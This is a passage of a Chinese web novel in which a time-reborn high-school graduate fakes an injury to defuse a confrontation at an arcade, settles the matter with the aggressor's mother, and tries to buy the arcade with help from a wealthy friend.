毕竟学神少女有自己的逻辑链——给好朋友拧瓶盖能有什么问题？ 但是这一幕落在肖茜眼中——她觉得自己在看科幻片。 林静姝啊，史诗级白富美，云端之上的高岭之花，被陈让拐到电玩城来就罢了，她还去给陈让买水，还给拧瓶盖…… 肖茜嘴巴张得老大。 哪怕她拿陈让当男神，都不会给他拧瓶盖的——这些事情，明明该男孩子来做！ 震惊之下，肖茜看向陈让：“你们……” “别误会，我俩只是朋友。” 陈让解释了一句。 他知道女生私底下会有多八卦。 他跟林静姝真没有在谈恋爱，要肖茜误解之下到处乱说——他倒是无所谓，但是对林静姝，多少会有影响。 “呵呵……” 肖茜白了陈让一眼。 微表情就很明确——你觉得我会信？ 欲盖弥彰！ 掩耳盗铃！ 此地无银三百两！ 林静姝却有些不高兴，撅起嘴巴修正了某人刚才那句话。 “陈让，用词准确一点——我们是好朋友，很好很好的好朋友！” 陈总能说什么呢，只能顺着她。 “呦呦同学，那必须的，咱俩的友谊千锤百炼，咱俩的友情海枯石烂……总之经得起党和国家的考验！” “昂——富贵同学，这么押韵的吗，多说一点，我超爱听！” 学神少女眼中的不高兴，悉数被愉悦取代。 肖茜看着，仿佛觉得被喂了好大一袋狗粮。 为什么是仿佛—— 要这两人直接承认在谈恋爱，狗粮吃了也就吃了吧。 毕竟人家郎才女貌，轮不到她来反对。 但是这两人“好朋友”过来“好朋友”过去的，却还能如此齁鼻…… 所以这就是清北级学神的世界吗，在开发一种很新的恋爱方式？ 第45章 一拳超人林静姝 第四十五章 一拳超人林静姝 几分钟后，某对情比金坚的好朋友，来到拳皇的机器，开始日常PK。 结果还是陈让赢了——却没了先前几次的轻松。 两人打了个“抢十”——也就是谁先赢十把谁就算获胜——最终比分是十比三。 拳皇是3V3游戏，这个比分，说明两人实力已经很接近了，也就只差半档。 考虑到林静姝拢共也没玩过几次——她的学习天赋，真的只能用恐怖如斯来形容。 陈让喜欢吹嘘自己是“未来大帝”，其实某个学神少女才是真正的大帝之姿。 两人PK时，有个小插曲儿。 黄博文打来了电话，问陈让在哪儿玩。 陈让跟他说了自己在电玩城后，没过多久，大黄哥也屁颠屁颠跑过来了。 到了地方，看到小陈跟林大校花在“甜蜜双排”，大黄哥表示很后悔——我为什么要来呢？ 狗粮这玩意儿，它是真没那么好吃的！ 好在陈让也不算特别狗，跟林静姝“甜蜜双排”完了，又陪黄博文玩了一把三国战纪。 这次哥俩玩得不是流传最广的119版本，而是改良后的风云再起。 陈让选了手赵云，一路护送着大黄哥的诸葛亮捡了四剑。 玩着超神模式的诸葛亮，大黄哥爽到头皮发麻——风云再起的机制，诸葛亮集齐四剑后攻击力翻倍。 正玩得嗨，林静姝突然碰了碰陈让的胳膊。 “怎么啦？” 陈让疑惑。 林静姝多懂事。 没突发情况，不可能打扰他跟好哥们打游戏的。 学神少女说出了缘由。 “陈让，吧台那个你们班的女生，算是你朋友吧，她好像遇到麻烦了。” 陈让跟黄博文赶紧看向吧台。 只见吧台站着个牛高马大、浑身腱子肉的青年，穿着件迈克尔乔丹公牛队的篮球服，看面料就知道是正版，脚上则是一双非常经典的黑红配色飞人一代。 管中窥豹——这家伙家境肯定不错。 此时青年正喋喋不休跟肖茜说着什么。 肖茜没有回应，且毫不掩饰对青年的“生理性厌恶”。 陈让观察着——青年虽然打着耳钉，却还有几分文质，应该也是学生，而不是“小黄毛”。 有了猜测——体育生。 陈总微微皱眉。 地图炮肯定不可取。 但体育生里出坏学生的概率，的确大于文化生。 这是客观事实。 “小陈，这小子不是三班的周泰么，体育生，还是学校篮球队的，一直在追肖茜——我听班级群有人在说，前两天肖茜被他骚扰的不行，打了他一耳光。” 黄博文开了口。 透露出来的信息，印证了陈让的猜测。 打男生耳光——天性泼辣的肖茜，也的确做得出来。 “这小子到电玩城干嘛？不死心想继续追求肖茜，还是来讨说法的？” “不知道——但是看这架势，大概是后者，你看那小子，眼神凶巴巴的。” 黄博文边咕哝，边碰了下陈让的胳膊。 “小陈，管不管？” “大黄，你想英雄救美啊？” “咳——我倒是不怵周泰，别看他块头大，真打起来，他不是我对手，但是我爸要知道我敢打架，绝对扒了我的皮！” “哈哈，这话我信——不过打架什么的，倒也不至于。” 讲道理，大黄哥可是军体拳满级选手。 反正每次跟黄博文一起出门，陈总都是安全感满满。 “过去瞅瞅再说吧——” 陈让率先走向吧台。 大黄哥赶紧跟上，边走边活动筋骨。 哥俩这些年在外面，也有遇到事儿的时候。 黄博文肯定是武力担当，陈让属于焉儿坏那一款，除了边缘OB、就是充当狗头军师。 林静姝也迈动步子，而且很快就越过黄博文，紧跟在了陈让身后，伴随活动手指关节的动作。 陈让走在最前面，肯定没察觉。 大黄哥倒是看得一清二楚，搞得他一愣一愣。 自己活动筋骨，是为了预防突发情况。 林大校花这是什么架势？ 难不成她一个娇滴滴的大美人儿，还会打架？ 大黄哥觉得这一幕要真的发生，也太魔幻了，属于完全想象不出来的画面。 此时周泰明显已经失去耐心了。 横着眼、凶巴巴的说：“肖茜，你打我那巴掌，必须得给个说法！长这么大，除了我妈，没有哪个女人打过我！” 肖茜的回复很肖茜：“你非要叫我妈，我倒也不介意。” 此话一出，周边围观群众，纷纷笑出了声。 周泰本来就是带着怒火来的，此时哪里还受得住，立马比起手掌。 肖茜一点没怂，就那么冷冷瞪着周泰。 眼瞅局势就要不可收拾，陈让抢先一步拦住了。 “不至于，不至于……” “你他妈谁啊，有你的事儿？” 陈让没有板着脸教训周泰。 面对热血上头的愣头青，如此只会激化矛盾。 陈总摆出一副“我是在为你考虑”的架势： “同学，冲动是魔鬼，知道故意殴打他人是什么后果么，轻则拘留，重则坐牢，更重要的是，会背上案底的！” 边说边指着吧台上方的摄像头。 “别以为我在危言耸听，看到了吧，有监控的。” 周泰找回了些冷静。 他瞪了陈让一眼后，冷声说： “你小子叫陈让吧，我认识你，誓师大会上台讲过话的……跟肖茜一个班的吧，怎么的，想拉偏架？” “我打她就是拘留、坐牢，她打我那巴掌呢，又怎么算？” “这个吧——” 陈总瞬间把CPU拉满。 处理这种事是有模版的。 首先要抬高自己身份，对着双方各打五十大板。 接着夸大危害。 最后则是给闹事者一点“希望”。 “周同学，作为一名省三好学生，我可以发誓，我这人绝对公正——” “其实这事儿你们两个都有问题。” “先说肖茜，无论如何，你也不该大庭广众、打周同学的耳光啊——哪怕他有错。” “再说周同学，你也不该追到电玩城来闹事，真把警察叔叔惹来了，随便给你一顶扰乱公共秩序的帽子，都有你受的！” “大家都是马上要上大学的人，要因为这点小摩擦背上案底，搞得上不了大学……那不是把人生都毁了？” 见周泰成功被自己唬住后，陈总开始了PUA的最后一步。 “这样，周同学，等我先跟肖茜同学谈，把来龙去脉都了解清楚后，我来当这个和事佬，咱们再坐下来聊——” 周泰明显被陈总忽悠住了，下意识往门口走，忽然觉得没对，停下来问： “那个……陈同学，你了解情况需要多久？” “大概……六十个工作日？” 陈总斟酌后回复。 周泰：“……” 回过味来了。 感情这小子拿他当傻子忽悠！ 现在都七月上旬了，六十个工作日后，百分百已经开学。 他跟肖茜又没在一所大学，到时候上哪儿找人？ 周泰蛮横劲儿又上来了。 “不行，时间也太久了，除非肖茜先答应做我做女朋友，再亲我一口！” 陈总：“……” 靠！ 居然没忽悠住。 看来这小子练块也练得也不怎么样。 毕竟脑袋里还装了点脑子，不全是肌肉。 肖茜冷笑着说：“亲你？做你的白日梦，姑奶奶亲条狗都不会亲你！” 值得一提，说“狗”这个字时，她还下意识瞥了黄博文一眼。 大黄哥就很der。 肖同学，你有毒吧，说狗就说狗，你瞅我干啥？ 肖茜这句“亲狗都不会亲你”，成功让陈总先前努力付诸流水。 陈总表示很无奈。 这套连唬带诈加忽悠的操作，对付更懂得权衡利弊的成年人很好使。 问题在于，无论周泰还是肖茜，都尼玛愣头青。 此时周泰猛然跨前一步，又冲着肖茜比起巴掌。 陈让刚好夹在中间，只得再次拦住。 周泰满脸不耐、推了他一把。 没有太用力。 这一推，顶天能让陈让后退两步，远不至于将他推倒。 陈让一个趔趄，幅度并不算大。 一步、两步…… 就在所有人都以为，陈让该稳住身体时，他却踉跄着、继续往后退。 三步、四步…… 竟是摔倒了。 后脑勺还刚好跟吧台发生了磕碰。 其实没有什么声响。 陈让躺在地上后却开始抽搐，眼睛也诡异的、只剩下眼白。 周泰傻了。 肖茜傻了。 大黄哥傻了。 所有人都傻了。 稍微有点医学常识的人都知道，后脑勺乃是脑干所在。 碰到这里，可大可小，小了啥事儿没有，大了甚至会出人命！ “我……我没有……我不是……他……” 周泰瞬间脸色煞白，结巴到一句囫囵话说不出来。 他刚才百分百没用多少力道，怎可能对陈让造成这么大伤害？ 他又不是常威，哪来的天生神力！ “草——” 黄博文眼瞳瞬间泛红，比起拳头，就准备对周泰来套满级军体拳。 却忽的瞅见，躺地上的小陈，正偷摸冲他眨眼。 大黄哥也就懂了。 是说小陈怎么突然变成弱柳扶风的林妹妹了，感情这是在碰瓷儿？！ 高！ 真的高！ 还得是小陈！ 小陈这套骚操作，掌握了主动权不说，指不定还能创收。 事情发展到这一步，一切都在陈让掌控。 接下来，陈总有一千种方式，让周泰这明白、推他这下能有多贵。 但是接下来发生的一幕，却完全脱离了某人掌控。 突然闪过一阵香风。 林静姝居然冲到了周泰面前，在许多错愕目光中，一拳轰在了他的肚皮。 按理说，她一个娇滴滴的大美人，便是卯足劲儿的一拳，也不可能对周泰造成多大伤害。 周泰挨了这一拳后，却像根面条般、瘫软在地。 眼珠凸-起，嘴巴张大，诡异的没有发出任何声音。 吸哈吸哈——分明在拼命呼吸，却只有出来的气、没有进去的。 大黄哥这种真正打过架的就很懂——闭气了呗。 黄博文也是第一个反应过来的。 赶紧蹲下，把周泰弄成了复苏体-位，然后卯足劲按他的膈膜。 就在大黄哥做好心理建设，准备忍着恶心、给周泰来个人工呼吸时，这小子“嗝”了一声，倒是缓过来了。 大黄哥舒了口气——初吻好歹保住了。 周泰能够自主呼吸后，却依旧瘫软在地，根本没有爬起来的力气，甚至话都说不出来。 所有人——包括刚爬起来的陈让——悉数看向还比着拳头、满脸怒意的林静姝。 基本都在倒吸凉气。 周泰这么大个头。 大黄哥自诩都做不到、一拳秒他，娇滴滴的林大美人却做到了。 陈让满脸的错愕。 想起了第一次约会时，两人的一段对话。 “林呦呦，虽然你刚才那嗓子，干的很漂亮，但是以后不许了……要咱俩没跑掉，真被KAO一顿怎么办？” “陈让，你不用怕，我是空手道黑带三段，我会保护你的。” 当时陈让不以为意。 觉得林静姝便真是空手道黑带，肯定也是花钱买的证书。 现在看来，人家林静姝百分百是真材实料，一拳超人有木有！ 错愕过了就是浓浓的感动。 可以笃定，今天绝对是林静姝有生以来第一次打人。 “陈让，我会保护你的。” 她说到，她做到。 刚才那一拳，也不知道、含着她多大的勇气和决心？！ 第46章 妈妈不爱我了 第四十六章 妈妈不爱我了 林静姝看着被自己一拳秒掉的周泰，桃花眼中满是冷色，鹅蛋脸爬满冰霜。 谁叫这家伙打了她唯一的好朋友？ 学神少女甚至觉得自己刚才打轻了。 但是下一刻，见陈让压根没事儿，又从地上爬起来后，林静姝眼中满满都是错愕。 富贵同学，你刚才不还躺地上抽搐的？ 单纯如她，当然理解不了“碰瓷儿”这样的骚套路。 见陈让没事儿，林静姝脸上霜色逐渐退去，终于有些担忧了。 陈让没事，周泰却是真有事——依旧躺在地上，虽说能够呼吸，却又开始吐白沫。 “陈让……” 慌乱之下，学神少女看向自己唯一的好朋友。 陈让走到她身边，接着问了算半个专业人士的黄博文一嘴儿，周泰这家伙到底怎么样了。 “小陈，应该……死不了。” “应该？” “咳，肯定死不了！” “死不了就行……” 陈让舒了口气。 “林呦呦，你刚才怎么想的……为什么要打他？” “他推了你——陈让，我说过的……我会保护你的！” 听着这样的话语，陈总心里仿佛过电，酥-麻得不行。 陈让揉了揉学神少女的头发，眼神变得无比宠溺。 有她这句话、以及刚才那一拳，陈总觉得、以后无论为她做什么，都可以加上“心甘情愿”的前缀。 围观群众们看着这一幕，明明目睹了一场斗殴事件，却很诡异的、觉得自己在吃狗粮。 周泰这种情况，肯定需要送医院。 陈让招呼着大黄哥，让他先打120。 等待救护车的过程，他又让肖茜把刚才的监控画面拷了一份给他。 救护车很快来了。 又十来分钟后，陈让一行人，将半昏迷状态的周泰送到了德州市第一人民医院的急诊科。 接下来就是走流程——缴费、然后开相应检查单子。 中间的过程，有些缓过劲儿来的周泰、一直在骂骂咧咧，并且呼叫了“场外援助”。 没过多久他妈过来了，姓张，一位穿金戴银的富态女士。 张女士很泼辣，来了后除了关心儿子的伤情，就是各种骂人和叫嚣。 林静姝有些小慌，犹豫着要不要把这件事告诉妈妈。 陈让拍了拍她的肩膀，示意交给他来处理。 宋臻要是出马，现在各种叫嚣的张女士——开口闭口就是老娘认识谁谁，我老公如何如何——铁定会遭遇顶级权势的“降维打击”。 但是如此一来，林静姝铁定会被骂，以后怕也甭想再跟他出来玩了，甚至在国内念大学这事儿也得黄。 在脑海中又把事情梳理一遍后，陈让走到张女士面前。 “阿姨，咱们来谈谈怎么善后吧。” 见陈让如此冷静，张女士倒是有些诧异，不过她还是得嚣张。 “龟儿子，还挺淡定啊，老娘跟你没什么好聊的，把你父母叫过来跟我谈，还有……那个打人的小姑娘，把她爸妈也一起叫过来，咱们到公安局处理！” “阿姨，相信我，你不会真想去公安局的。” “哟呵，你小子年纪不大，口气倒是不小，是在暗示你家有关系？实话告诉你，我老公……把职务摆出来能吓死你！” “阿姨，知不知道你在说什么啊？我们是法治国家，凡事都要讲法律。” “林静姝的确对您儿子造成了伤害，这个我们可以给予赔偿。但是您儿子也推了我，对我造成了更大的伤害——真去了公安局，您儿子的档案，可就不怎么好看了。” 对话至此，陈让把肖茜拷给他的监控点了出来。 张女士看完，不住冷笑。 “演技挺好啊，当老娘看不出来，你小子压根就是在碰瓷儿？” 陈总耸了耸肩。 “阿姨，再跟您说一遍，要讲法律，法律是最严谨的，只认证据。” 边说边掏出一张颅脑CT单子，以及医生开出的诊断证明。 刚才周泰做各种检查时，陈让跟急诊科医生说，给他也开个颅脑CT的加急单，花了他大几百块钱。 拍完后就去开诊断证明。 陈总咬死了自己头晕恶心想吐，百分百“脑震荡”了。 急诊科医生听着，很快反应过来了——这小子在装。 但是沉吟片刻后，虽然露出“你小子挺懂啊、但是老子比你更懂”的表情，却还是在诊断单上写下了“疑似脑震荡”五个字。 “脑震荡”这玩意儿吧，就挺“薛定谔”的。 症状真实存在，照CT却又大概率照不出任何实质性损伤。 哪怕陈让百分百九十九概率在装，不还有百分之一是真的？ 要不写，真出了什么状况，要担责的！ 看着诊断证明上“脑震荡”三个字，张女士很明显给吓到了。 这里陈总就是笃定了张女士缺乏医学常识。 讲道理嘛，这婆娘一来就满嘴喷粪，未必还能是什么高知分子？ 所以在张女士视角中，陈让的“疑似脑震荡”，可比她儿子诊断书上“无明显器官性损伤”之类的诊断词、要严重许多。 “陈……陈同学，你真脑震荡了？那你看起来，怎么一点事儿没有？” “阿姨，我这个人……比较坚强。” “……” 张女士嘴角抽了抽。 她觉得陈让就是装的，但是她不敢赌。 真到了公安局，大概率给判成“互殴”，会花了儿子的档案。 “陈同学，那你觉得……” “阿姨——这事儿扯破了天，也是您儿子对我们班肖茜同学死缠烂打引发的。现在网络又发达，传开了，搞得沸沸扬扬，对周同学的名声也不好，以后指不定都不好讨老婆。” “咳……” 陈总这番说辞，完美命中了张女士的命门。 当妈的，最担心的，可不就是儿子以后不好讨媳妇？ “阿姨，因为我这人比较坚强，虽然脑震荡了，但是自己养养，估计也就好了，就不用给我赔偿了，周同学这边嘛——” 陈让边说边唤来了黄博文，从他手中接过一个信封——刚才他就把银行卡给了大黄哥，叫他去取钱了。 “阿姨，这里面有五千块钱，算是给周同学的营养费……” 张女士沉吟片刻后，终究还是收下了这个信封。 那不然呢？ 陈总这一套连消带打、威逼利诱的连续打击投，几人扛得住？ 反正张女士扛不住。 别看她刚才咋咋呼呼、人五人六的，其实本质上就是个家庭妇女，被陈总唬住并不奇怪。 搞定张女士后，陈让又带着林静姝和大黄哥、包括跟着来的肖茜，一起去病房看了看周泰。 周泰已经彻底缓过来了，立马开始嚷嚷，要向来溺爱他的妈妈给自己“报仇”。 却被自己的老母亲狠狠训斥了。 “周泰，你闭嘴，我已经跟陈让同学说好了，这事儿到此为止！还有……” 她看了一眼肖茜。 “以后别再缠着人家小姑娘，不然老娘打断你的狗腿！” 要不说“货比货得仍、人比人得死”。 跟陈让一比，张女士觉得儿子已经养废了。 周泰：“……” 刚才妈妈不还说、一定要让对面好看的么。 怎么就是跟陈让单独聊了一会儿，态度就一百八十度大转弯了？ 还有—— 妈妈看自己时、眼中的嫌弃又是怎么回事儿。 所以……妈妈不爱我了？ …… 陈总这边都搞定后，电玩城的老板、也就是肖茜的老舅，方才姗姗来迟。 175左右的个子，体重差不多也是175。 光头铮亮，夹着个公文包，里面鼓鼓囊囊，一看就夹了不少现金。 肖茜老舅全名高升，火急火燎到了医院后，恰巧在大厅碰到了准备离开的陈让一行。 “茜茜，你没事儿就好，这事儿老舅来平……” “咳……咱们该赔钱就赔钱……老舅查过了，对面来头可不小，周局长家的崽子……” 高升边说边擦汗，也不知道是累的还是急的。 肖茜白了老舅一眼：“老舅，你怎么不再来晚一点……你也别担心了，陈让这边都已经搞定啦……” 然后把事情经过、囫囵讲了一遍。 高升立马看向陈让，伴随满脸的诧异。 “陈小哥……周局长他老婆，可是出了名的难缠……你怎么搞定的？” “老舅，倒也简单——我跟张阿姨讲了讲道理，她觉得我说的非常有道理。” “……” 高升当然清楚，事情绝对没有这么轻描淡写。 “花钱了没？” “花了，五千……”陈让嘿嘿一笑，“老舅，你要报账？” “那必须的。” 高升立马数了五千现金出来。 知道对面不好缠，他都做好大出血准备的——皮包里装了足足五万。 陈总干脆收下。 事情因肖茜而起，这钱高升来出也是应该的。 “咳……差不多也到晚饭的点了，陈小哥，要不……咱们找个地方吃个便饭？” 高升发出了邀约。 这事能轻描淡写就解决了，全靠陈让，必须感谢。 忙上忙下这么久，陈让肚皮早咕咕叫了，也就没有推辞。 第47章 分明在炫耀、但是没证据 第四十七章 分明在炫耀、但是没证据 饭桌上，高升搞清楚事情始末后，不住比大拇指，边比边吹陈总的彩虹屁。 了不得，当真了不得！ 寻常小年轻，遇到这种事，不分寸大乱就算好的。 陈让却能始终冷静，一张“疑似脑震荡”的诊断证明，就把以难缠出名的周局长老婆拿捏了。 设身处地去想，即便他当时也在，怕也不能如此冷静。 肖茜扫了一眼陈让，然后满眼都是小星星的说： “老舅，那还用你说——陈让很厉害的，他可是我男神！” 如果说先前的她，对陈让只是好感和欣赏，那么现在就是完全的仰望和崇拜。 今天的陈让，于她而言，便是驾着七彩祥云、身披金甲圣衣的盖世英雄。 “茜茜，难道不是男朋……” 高升显然想说“男朋友”。 突然有道冷若霜雪的目光落到他身上——来自某位学神少女——于是生生憋了回去。 好吧，如果这位天仙般的鹅蛋脸小姑娘、是陈小哥的女朋友，那他家外甥女不配。 虽然外甥女已是家族颜值天花板。 但是跟这个天仙少女比——茜茜，咱不找这种不痛快。 肖茜脸颊微红。 看着姿态亲昵、挨着坐的陈让和林静姝，竟是生不出一点儿吃醋的念头。 跟林静姝抢男朋友？ 肖茜觉得自己哪怕就着头孢整两斤工业酒精，也鼓不起一点儿勇气的。 “咳——” 意识到自己说错话后，高升转移话题。 “茜茜，电玩城这种地方，还是有些乱，你也别来帮忙了……反正老舅我也打算把这家电玩城转出去了，回头就贴告示……” “好吧……” 肖茜点了点头。 陈让听着，颇为诧异的说： “老舅，据我观察，你这家电玩城，客流量一直可以的啊，口岸也不错，为什么想转让？” 讲道理，09年还处在电玩城最火爆的阶段。 这波风口，起码要持续到12年左右，才会下滑。 高升啄了口啤酒，先是左右张望一番。 “陈小哥，要别人问，老舅我肯定打死都不说，但是你既然问了——” 然后压低声音。 “老舅我啊，找到了更加来钱的买卖，具体来说……” 在高升的描述中，他有个很靠谱的渠道，能够以低于市场价百分之三四十的价格，拿到一大批手机——这不就干脆梭哈了！ 陈让正喝汤，差点没一口喷出来。 零九年的手机行业，恰巧处于要多尴尬就多尴尬的时间阶段。 占据主要市场份额的还是功能机。 以及本质上一点儿都不智能的初代智能机——譬如陈让正在用的诺基亚S5300。 至于真正的智能机—— 谷歌08年底推出了开源的安卓系统，然后逐渐占据市场。 苹果07年就在研发自己的OS系统，后面迭代为ISO——明年一代神机苹果4就会横空出世。 也就是说，一两年后，真正智能机的时代就会来临。 高升准备用全部身家去囤的、是最近市场有些低迷的功能机、以及主要搭载Symbian、Windows-m-o-b-ile、Linux系统的初代智能机。 想着等市场回暖后，赚一波大的，直接财富自由。 可惜熟知“历史”的陈让，知道高升属于是想太多了。 功能机很快会在时代车辙碾压下变成尘埃，然后秽土转生变成“老年机”。 现在如日中天的诺基亚和摩托罗拉，也会很快退出主舞台。 塞班、Windows-m-o-b-ile和Linux，连安卓都干不过，更别说ISO了。 “额……陈小哥，怎么啦？” 某人的古怪表情，高升看在眼里，就很奇怪。 “咳……没啥……汤……有些咸了。” 陈让沉吟片刻后，并没有开口劝高升。 为什么古人都说，与人交往，切忌“交浅言深”，里面是有道理的。 如高升这代人，年轻人赶上了计划经济转市场经济的野性时代。 那个年代，胆大的确容易搞到钱。 人只要成功过，就很容易容易养成“路径依赖”。 所以高升自以为碰到新的风口时，便会不顾一切的梭哈。 陈让在他眼中、只是他外甥女的同学，虽说今天的表现，让他有些刮目相看，但本质上却还是个十七八岁的高中生。 劝了，人家凭什么听？ 不听也就罢了，等他真的栽跟斗了，反而会埋怨你，当时为什么不多劝他几句？ 这就是真实的人性——毕竟袁绍当年就是这么杀的田丰。 思量至此，陈让继续开口： “那个……老舅，方便透露一下不，你这家电玩城……打算多少钱转出去？” 陈总这么问嘛，自然是嗅到了商机，决定掂量一下，看自己能不能把这家明显是个聚宝盆的电玩城给盘下来。 还是那句话——地上有钱就得捡！ 他现在手里大部分的钱都在股市，上着杠杆呢，肯定不能拿出来。 能动用的、也就是拿来搞医美代购那四五十万。 德州只是个三线城市，人口两三百万，对于玻尿酸之类的医美产品、消耗能力是有限的。 所以陈让手里这五六十万，暂时还没什么用——要继续医美代购，得等上一批产品消耗完。 本来算一股脑砸入股市的——但眼目前不是恰巧碰上这么个百分百来钱的买卖了么。 作为一个成熟的“狗资本家”，陈总深谙分散投资、不把鸡蛋放一个篮子的重要性。 “陈小哥，你问这个干嘛、家里有长辈感兴趣？” 高升有些奇怪。 倒也没藏掖。 给陈让说了自己的心理价位。 “一百二十万。” 大人对“小孩子”、戒心总会低一些。 陈总飞速心算。 考虑到转让费、还剩下将近一年的房租、以及电玩城那么多机器的折价，这个价位有些偏高，却也不算狮子大开口。 “老舅，我这边有个想法啊，您权且一听？” 高升带着疑惑点头后，陈让继续开口： “我出五十万，买电玩城百分之七十的股份和经营权……后续的重新装修，以及采购新机器，也不需要您再注资……” “以后电玩城不管做得怎么样，除去相关运营成本后，您都有百分之三十的利润分红。” “至于您需要钱囤手机……咱其实也用不着把身家性命都砸进去吧。” “鲁迅不是说过么——不能把所有鸡蛋都放在一个篮子里。” 高升表情彻底错愕。 首先肯定是怀疑真实性。 “陈让，没吹牛吧，你拿得出五十万？” 陈总还没说什么，肖茜就站出来给他背书。 “老舅，你可别瞧不起人啊，都跟你说了，我男神很厉害的，他两首歌就卖了一百万……” 她为什么知道这个——班上有次陈让没有参与的同学聚会、李文韬这个大嘴巴说出来的。 “啥？”高升震惊，看向陈让，“不可能吧——” 陈让摇了摇头。 高升舒了口气。 “茜茜，你听谁说的啊，这基本是不可能的事……” 却听陈总话音一转：“老舅，茜茜同学说得不严谨，税前确实是一百万，但是到我手上只有八十万。” 高升：“……” 看着自己老舅的窘迫表情，肖茜噗嗤便笑。 “好吧……难怪我家茜茜……咳咳……不说这个……” 被自家外甥女桌子底下踢一脚后，高升很丝滑的切换了话题。 “陈让，‘不把鸡蛋放一个篮子里’，这话真鲁迅说的？不像啊。” “这个吧……” 面对质疑，陈让罕见的有些不自信。 毕竟高中整三年，陈总真没认真听过一节语文课。 但是自己堂堂“德州探花陈先生”，居然被高升这样一看就“西瓜大的字、不认识俩箩筐”的盲流子质疑了。 能忍？ 显然不能！ “老舅，你高考多少分？” “还高考，老舅我初中都莫求读完……” “那老舅你还质疑个什么劲儿，我高考可是差不多680分，清华北大抢着要我，相信我，这话就是鲁迅说的！” “鹅鹅鹅——” 肖茜笑得发出鹅叫，却没有拆台，而是继续给某人站台。 “老舅，没错，陈让可是咱们旌湖区的高考状元，这话也的确就是鲁迅说的！” “还真是鲁迅说的啊，学到了，学到了——” 高升肃然起敬。 “万般皆下品、惟有读书高”，这样的思想，深-入国人骨髓。 哪怕是高升这样，年轻时铁定捞过社会、混过袍哥的人，对于读书厉害的，也会发自肺腑的佩服。 这个不奇怪。 古时候那些个山大王，都会想方设法绑个教书先生上山，给弟兄们出谋划策当军师的。 佩服归佩服，高升却没有同意陈让给出的方案。 第一，五十万就拿他百分之七十的股份，高升觉得太亏。 第二，他并不相信陈让的经营水平，对于那百分之三十的利润分红，没有任何期待。 第三，也是最重要的一点，哪怕鲁迅真说过“别把鸡蛋放一个篮子里”，他却还是想“梭哈”。 要不说“路径依赖”。 高升丝毫没意识到“大人、时代变了”，依旧将“饿死胆小的、撑死胆小的”奉为圭臬。 被委婉拒绝后，陈总也没强求。 对他这样的“二周目玩家”来说，零九年这个时间节点、处处都是风口和机遇，不差电玩城这仨瓜俩枣。 陈让想盘下高升手里这家电玩城，其实还有个很隐秘的小心思——这家电玩城、可是他跟某个学神少女“友情升温”的地方。 有纪念意义的。 奈何高升不同意他的方案，他又拿不出多余的钱，也就只得作罢。 出了饭店，陈让、林静姝和黄博文三人站在暮色中，准备打车回家。 学神少女冷不丁的开口：“陈让，你真想盘下那家电玩城？” 陈让点点头，说想肯定想的，不然你富贵哥吃多了，刚才跟肖茜她老舅掰扯那么多。 “那为什么又没有盘呢，难道……你没钱？才一百二十万的。” “……” 这个“才”字用的就很贴切。 很符合你林大校花史诗级白富美的人设。 陈让翻白眼。 “林呦呦，你伤到我了，富贵哥也有自尊的！” 林静姝吐了吐舌头。 俏皮度满分，可爱度拉满。 “富贵同学，我的意思是说……我有钱。” 边说边从普拉达包包里，摸出一张银行卡。 “这张卡里存着我的压岁钱，我可以自由使用的，大概……一千多个？我……好久没看了。” 一直愚蠢、偶尔清澈的大黄哥，下意识接过话茬儿。 “林大校花，你的压岁钱，居然才一千多？这哪儿够啊，我都有五六千呢！肖茜她舅舅，要的可是一百二十万！” 陈让看白痴般看着黄博文。 “大黄，你想抢戏就直说，也不用突然这么降智的……有没有可能……人家呦呦同学说的一千多个，计量单位是万？” 黄博文：“……” 突然就很想找个地缝钻了。 史诗级白富美突然拉满的含金量，让他这个普通家庭出身的孩子，提前很多年，意识到了什么是真正的“阶级差距”。 一千多万的压岁钱！！！ 林大校花跟他和小陈……真是一个次元的生物？ 陈让并没有接林静姝手中的卡。 自尊心不允许。 大黄哥早就把他剖析的很到位。 他这人，没有傲气，却有傲骨。 傍富婆、吃软饭什么的……陈总真不是这条赛道的！ 林静姝却没有把银行卡收回去，小手悬在那里，小表情很快变得委屈巴巴、桃花眼中逐渐水雾弥漫。 陈让给吓了一跳。 “林呦呦，你什么表情？” 学神少女噘着嘴巴，能挂酱油瓶那种。 “陈让，你都没拿我当好朋友，我生气了！” “哪有——我陈富贵可以对天发誓，我这辈子真正能称作好朋友的，除了黄博文这个‘逆子’，也就只剩下我们文武双全的呦呦同学了。” 陈总口吻有些调侃。 林静姝绝对配得上“文武双全”四个字。 文就不说了，传说级学神，高考全省第五。 武力值——刚才证明过了。 都林妹妹—— 贾宝玉家的、有事没事葬个花。 他家这位，却是属于“倒拔垂杨柳”那一款。 “风雪山神庙”估摸着也行。 讲道理，都姓林，她也可以是林教头的。 林静姝却依旧带着很大情绪，甚至有着浓浓的醋意。 “就有——陈让，你拿黄博文的钱炒股，都不带犹豫，却不愿意用我的钱！” “……” 她是因为这个生气和委屈的？ 陈总心里又开始酥-麻。 还能说什么呢，陈让接过了卡。 也不说什么时候还她、或者给她算利息之类的——那是火上浇油。 反正肯定不白拿。 先把林静姝送走后，把玩着手里躺着一千多万的银行卡，陈让突然叹了口气。 黄博文疑惑：“小陈，咋啦？” “突然有种面对宿命的无力感，”陈总四十五角抬头望天，眼中满是明媚的哀伤，“大黄，我觉得冥冥中有双无形的大手，正在操纵我的命运，祂并不想我当什么奋斗逼，而是想把我赶去傍富婆和吃软饭这条赛道……” 边说边晃悠着手中的银行卡。 “你不觉得，林静姝在拿钱砸我吗？虽然我得到了许多人一辈子也赚不到的巨款，但是我也失去了男人的尊严啊！果然——所有命运对你的馈赠，都在暗中标好了价格！” 黄博文：“……” 觉得小陈这个狗逼分明在炫耀，但是又没有证据。 第48章 拿下电玩城 第四十八章 拿下电玩城 第二天一大早，陈让去了趟驾校，成功拿到了由驾校去车管所统一代领的驾驶证。 领证的过程，陈总碰到了张小娴跟任志超，这两人却一句话都没敢跟他说。 甚至眼神无比闪躲，仿佛在说——看不见我，看不见我啊！ 显然被滋怕了。 单纯一个“凡学宗师”陈让——两人还能勉强招架。 但是再加上“直拳泰斗”林教头，那就真真儿招架不了一点。 陈让忍俊不禁，心想自己学个车，倒是净遇到些奇葩了。 为什么这么说——除了张小娴跟任志超，还认识了个一个老哥，口才颇好，人也风趣。 赵德汉不是在驾校最显然位置拉了个横幅，恭喜陈让荣膺旌湖区状元郎了么。 老哥就问陈让，说陈小哥你考这么好，市里、区里，有没有奖励？ 陈让寻思这事儿也没啥好藏掖的，估计都上当地报纸了，便如实讲了，说自己拿了差不多二十万奖金。 于是老哥对陈让愈发热络。 